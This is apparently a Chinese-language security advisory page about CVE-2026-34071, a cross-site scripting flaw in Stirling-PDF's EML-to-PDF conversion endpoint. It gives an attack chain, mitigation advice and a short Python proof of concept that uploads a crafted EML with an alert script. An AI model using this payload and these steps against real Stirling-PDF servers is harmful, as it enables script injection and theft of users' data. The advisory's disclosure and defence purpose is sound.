IPBUF安全漏洞报告
English
CVE-2026-34071 CVSS 5.4 中危

CVE-2026-34071 Stirling-PDF跨站脚本漏洞

披露日期: 2026-03-26

漏洞信息

漏洞编号
CVE-2026-34071
漏洞类型
跨站脚本 (XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Stirling-PDF

相关标签

XSSStirling-PDFCVE-2026-34071Web安全

漏洞概述

Stirling-PDF在2.7.3版本中存在跨站脚本漏洞。当用户使用“下载HTML中间文件”功能转换恶意EML邮件时,由于未对HTML内容进行清理,导致恶意JavaScript代码在浏览器中执行,攻击者可利用此漏洞窃取用户敏感信息。

技术细节

该漏洞源于Stirling-PDF的`/api/v1/convert/eml/pdf`接口未正确处理用户输入的EML邮件内容。当请求参数`downloadHtml=true`时,服务器直接返回邮件正文中的HTML代码,且未进行转义或过滤。攻击者可构造包含恶意JS脚本的EML文件并发送给受害者。当受害者通过Web界面上传并转换该文件时,返回的`Content-Type: text/html`响应将直接执行内联的JavaScript代码。由于CVSS评分为5.4,属于中危漏洞,但无需认证即可诱导触发。

攻击链分析

STEP 1
1. 制作恶意文件
攻击者构造一个包含恶意HTML/JavaScript代码的EML格式邮件文件。
STEP 2
2. 投递恶意文件
攻击者通过钓鱼等方式诱导受害者将该EML文件上传至Stirling-PDF服务器,或发送给使用该服务的用户。
STEP 3
3. 触发功能
受害者使用Stirling-PDF的转换功能,并启用“Download HTML intermediate file”选项(即设置downloadHtml=true)。
STEP 4
4. 执行攻击
服务器返回未经过滤的HTML内容,受害者的浏览器解析并执行其中的恶意脚本。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-34071 # Create a malicious.eml file with the following content: # From: [email protected] # To: [email protected] # Subject: XSS Test # Content-Type: text/html; charset="utf-8" # Content-Transfer-Encoding: 8bit # # <html><body><script>alert('XSS');</script></body></html> # Send this file to the target endpoint via Stirling-PDF interface import requests target = "http://localhost:8080/api/v1/convert/eml/pdf" files = {'fileInput': ('xss.eml', open('xss.eml', 'rb'), 'message/rfc822')} data = {'downloadHtml': 'true'} r = requests.post(target, files=files, data=data) print(r.status_code)

影响范围

Stirling-PDF < 2.8.0

防御指南

临时缓解措施
建议用户不要处理来源不明的EML文件,并在官方修复补丁发布前,暂时禁用“下载HTML中间文件”功能。管理员应尽快检查并更新系统版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表